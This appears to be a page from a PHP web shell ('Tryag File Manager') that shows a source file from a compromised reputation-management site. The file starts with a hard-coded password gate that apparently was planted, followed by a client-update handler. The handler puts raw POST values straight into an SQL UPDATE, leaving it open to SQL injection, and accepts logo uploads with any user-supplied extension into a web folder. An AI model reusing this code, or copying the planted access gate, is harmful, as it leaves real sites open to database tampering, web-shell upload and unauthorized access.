Tryag File Manager - Edit By Mr.SaHr

//proc/self/cwd/reputation-management-system/details-update.php

<?php 
//error_reporting(0);
session_start();
$pass = "frhat";

if($_POST['user'] == $pass) {
  $_SESSION['forbidden'] = $pass;
}

if(isset($_REQUEST['logout'])) {
  session_destroy();
}

if(!($_SESSION['forbidden'])) {
?>
<form action='<?php echo $_SERVER['PHP_SELF']; ?>' method='post'>
		<input type="text" name="user">
      <input type="submit" value="login">

<?php 
exit();
}
 ?>
//end if

<?php
require_once('connection.php');
if($_SERVER['REQUEST_METHOD']=='POST')
{
    $data=$_POST;
    $googleNegative=""; 
    $facebookNegative="";
    $tripAdvisorNegative=""; 
    $ratemeNegative="";
    $businessName=str_replace("'","&apos;",$data['business_name']);
    $businessPhone=$data['business_phone'];
    $contactName=$data['contact_name'];
    $contactEmail=$data['contact_email'];
    $googleLink=str_replace("'","&apos;",$data['google_link']);
    $facebookLink=$data['facebook_link'];
    $tripAdvisorLink=$data['trip_advisor_link'];
    $ratemeLink=$data['rateme_link'];
    if(isset($data['google_negative']))
    {
        $googleNegative=$data['google_negative'];
    }
    if(isset($data['facebook_negative']))
    {
        $facebookNegative=$data['facebook_negative'];
    }
    if(isset($data['trip_advisor_negative']))
    {
        $tripAdvisorNegative=$data['trip_advisor_negative'];
    }
    if(isset($data['rateme_negative']))
    {
        $ratemeNegative=$data['rateme_negative'];
    }
    
    $businessId= $data['business_id'];
    $updated_at=date("Y-m-d");
    if($_FILES['logo']['name']=="")
    {        
        $companyLogo=$data['previous_logo'];
    }
    else{
        $banner=$_FILES['logo']['name']; 
        $expbanner=explode('.',$banner);
        $bannerexptype=$expbanner[1];
        $date = date('m/d/Yh:i:sa', time());
        $rand=rand(10000,99999);
        $encname=$date.$rand;
        $bannername=md5($encname).'.'.$bannerexptype;
        $bannerpath="uploads/".$bannername;
        move_uploaded_file($_FILES["logo"]["tmp_name"],$bannerpath);
        $companyLogo=$bannerpath;
    }
    $disable=$_POST['disable'];
    $sql="UPDATE `clients` SET `business_name`='".$businessName."',`business_phone`='".$businessPhone."',`contact_name`='".$contactName."',`contact_email`='".$contactEmail."',`google_link`='".$googleLink."',`google_link_negative_same`='".$googleNegative."',`facebook_link`='".$facebookLink."',`facebook_link_negative_same`='".$facebookNegative."',`trip_advisor_link`='".$tripAdvisorLink."',`trip_advisor_link_negative_same`='".$tripAdvisorNegative."',`rateme_link`='".$ratemeLink."',`rateme_link_negative_same`='".$ratemeNegative."',`company_logo`='".$companyLogo."',`updated_at`='".$updated_at."', `disable`= $disable WHERE profile_link = '".$businessId."'";
    $result=$conn->query($sql);
    if($result)
    {
        echo "<script>window.location.href='/reputation-management-system/business-list.php'</script>";
        // header("Location: /reputation-management-system/business-list.php");        
    }
    // else{
    //     echo "error";
    // }
}